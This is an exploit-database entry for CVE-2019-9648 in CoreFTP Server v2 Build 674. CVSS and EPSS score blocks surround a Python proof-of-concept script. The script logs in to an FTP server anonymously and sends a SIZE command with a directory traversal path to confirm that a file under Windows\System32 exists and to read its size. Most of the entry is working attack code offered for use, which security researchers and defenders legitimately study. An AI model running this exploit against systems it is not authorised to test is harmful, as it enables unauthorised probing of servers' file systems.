CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
92.4%
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal
# Google Dork: N/A
# Date: 4/27/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9648
#!/usr/bin/python
import socket
import sys
########################################################
###########Set Variables For Script Here################
file_to_look_for = "nslookup.exe"
local_disk_drive = " C:"
path_traversal = "\..\..\..\..\..\Windows\System32\\"
########################################################
print ("""
##### # # ####### ##### ### # ##### ##### ##### # #####
# # # # # # # # # ## # # # # # # # # # #
# # # # # # # # # # # # # # # # # #
# # # ##### ##### ##### # # # ###### ##### ###### ###### # # #####
# # # # # # # # # # # # ####### # #
# # # # # # # # # # # # # # # # # #
##### # ####### ####### ### ##### ##### ##### ##### # #####
#######
# # # ##### # #### # #####
# # # # # # # # # #
##### ## # # # # # # #
# ## ##### # # # # #
# # # # # # # # #
####### # # # ###### #### # #
# # ###### # # #
# # # ##### # ##### ##### ###### # # # # # # ### # # ###### # # # # #
# # # # # # # # # ## # # # # # # # # # # # # ## #
# # # # # # # # ##### # # # ###### # ### ##### # # # # # #
# # # ##### # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # ## # # # ### # # # # # # # ##
## ## # # # # # ###### # # ###### # # # # ###### ## # # #
######
# # ## # # ##### ## # #
# # # # ## # # # # # # #
###### # # # # # # # # # # #
# # ###### # # # # # ###### # #
# # # # # ## # # # # # #
# # # # # # ##### # # ###### ######
""")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.0.4',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.recv(1024)
s.send('SIZE' +local_disk_drive+path_traversal+file_to_look_for + '\r\n')
result = s.recv(2048)
trimmedoutput = result.strip()
splitoutput = trimmedoutput.split(' ')
realresult = unicode (trimmedoutput,'utf-8')
realresult2 = unicode (splitoutput[1],'utf-8')
isnum = realresult.isnumeric()
isnum2 = realresult2.isnumeric()
if isnum2:
print "The file " + file_to_look_for + " exist on the remote server. Here is the filesize:" + splitoutput[1]
else:
print "The file " + file_to_look_for + " does not exist on the remote server or one of the variables declared is incorrect."
s.send('QUIT\r\n')
s.close
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
92.4%